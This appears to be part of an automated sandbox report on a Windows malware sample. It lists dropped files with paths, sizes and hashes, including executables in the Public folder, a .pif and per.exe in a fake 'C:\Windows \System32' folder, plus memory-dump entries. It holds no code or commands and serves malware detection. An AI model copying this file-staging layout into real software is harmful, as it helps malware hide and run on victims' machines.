Size 222B
SHA256 e776155cc0a6a0c3b142469cb654155ae86c10e86c398a8ae038a921b7bb6bea
MD5 915379b6c9450dd197e2169e2f127a8e
SHA1 439ebbf6d4d051223dd9f69affeeee30bf4c3dba
SHA512 f18f9fcc63893d2e1bdfb08d6011621ade3b4438b585a7681bc426ef9dde38c7cdefc3256b78b4c563d247ea49d5190b84daf21fa921a8b23ff223ff9a58f937
MD5 SHA1 SHA512

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CE00.bat

Path C:\Users\Admin\AppData\Local\Temp\CDEF.tmp\CDFF.tmp\CE00.bat
Size 1KB
SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
MD5 2828cc267a1c0676d317df16b891334a
SHA1 6d1f6449a1b77aefcc6911e4ab93906bf70f896a
SHA512 842305116619f8ef90801d9e9067bfb8aebd8244506a879aa8ba8d80bbeba12a945b7e58d96138e5ddaf684e5350c3b05437ab965050bd23a436d99e6da0bf05
MD5 SHA1 SHA512

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__PSScriptPolicyTest_15qmbhlo.2nx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15qmbhlo.2nx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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feqmxbqgmqx

Path C:\Users\Admin\AppData\Local\Temp\feqmxbqgmqx
Size 4KB
SHA256 5b925ab999c036167ea8ddb4ea5256d33f56405a62faf0c40837d3e69588c5e2
MD5 bfad3231b66bc41dc26604f95ff7798f
SHA1 3bb8a68b16f2dc00e7ae9757fd4be2d10dbe91f1
SHA512 1339ac589e8a88ce019a638a68f8db4d93193b24c8252fe4825de02b816c4572fcc9722d48752904ccba5968072b8dd5070117ad88e8aa4a5dcd53d3c3b5cc0a
SSDEEP 48:wvvv0QBxfvvcQBxfdvv0QBxBvv0QBxakvv0QB7:mvHxvvp1vHPvHbvH7
MD5 SHA1 SHA512 SSDEEP

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Defux.mpeg

Path C:\Users\Public\Defux.mpeg
Size 3.4MB
SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
MD5 7d64215898b7d6037b0863b10257b747
SHA1 1e5c8cf0d8961f7a2128d53933a374aca29d1f7c
SHA512 866757bd3e77004f7dbebe640f9d0eea7e12740bbc075af19044b03f36703c739f8042ea246eb41aec84e58bf60a71af610cab35fba4a1f8dcfbd34c354be5f6
SSDEEP 24576:hE0BqolcoAS+Z4LSoTw5/+/KlygGPGmGqtz5GflIGBk:R
MD5 SHA1 SHA512 SSDEEP

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Defux.COM

Path C:\Users\Public\Libraries\Defux.COM
Size 984KB
SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
MD5 06bcbd36656fbfdbd73023f9df4fbcf0
SHA1 7e4843dca4d8bb7bcd68513848f5725f26b380e5
SHA512 683217d47883305325a87909cfbd6378e97e3e452d565a09a7ed13d8fd6bc01ab54ff1c2f8f47c59bfc17ddb26dd3634e05a67e117cf5f1db72571cb521e371c
SSDEEP 24576:QoDIHCBqqUZk2LWE4avXEIugZncPCi4LAP0i03W7CP:Q2Qf4avEIugZQp4LAP0i03W7+
MD5 SHA1 SHA512 SSDEEP

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gspwscdY.pif

Path C:\Users\Public\Libraries\gspwscdY.pif
Size 66KB
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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ger.exe

Path C:\Users\Public\ger.exe
Size 75KB
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
SSDEEP 1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5 SHA1 SHA512 SSDEEP

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kn.exe

Path C:\Users\Public\kn.exe
Size 1.6MB
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
SSDEEP 24576:aCaND6ankkViMCsJf0JhY+3hvwUJDP+t3HvDGKK1V3FuNM2GRUY/ejsSvVo2:aCiDLnPipbJ5vwES3CKGVVuNM20UXa2
MD5 SHA1 SHA512 SSDEEP

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xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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per.exe

Path C:\Windows \System32\per.exe
Size 48KB
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459
SSDEEP 768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5 SHA1 SHA512 SSDEEP

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memory/3408-67-0x000002595BCC0000-0x000002595BCE2000-memory.dmp

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memory/3784-111-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/3784-32-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/3784-37-0x0000000000400000-0x000000000041A000-memory.dmp

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memory/3784-94-0x0000000000400000-0x000000000041A000-memory.dmp

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memory/3784-38-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/3784-35-0x0000000000400000-0x0000000001400000-memory.dmp

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memory/3852-128-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/3852-125-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/3852-124-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/4060-130-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/4060-123-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/4060-131-0x0000000000400000-0x0000000000478000-memory.dmp

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memory/4716-102-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-145-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-117-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-118-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-119-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-121-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-115-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-100-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-95-0x0000000003410000-0x0000000004410000-memory.dmp

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memory/4716-160-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-98-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-114-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-116-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-152-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-103-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-101-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-141-0x0000000027180000-0x0000000027199000-memory.dmp

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memory/4716-140-0x0000000027180000-0x0000000027199000-memory.dmp

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memory/4716-137-0x0000000027180000-0x0000000027199000-memory.dmp

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memory/4716-142-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4716-144-0x0000000000400000-0x0000000000482000-memory.dmp

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memory/4908-28-0x0000000000400000-0x0000000000500000-memory.dmp

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memory/4940-127-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/4940-126-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/4940-129-0x0000000000400000-0x0000000000424000-memory.dmp

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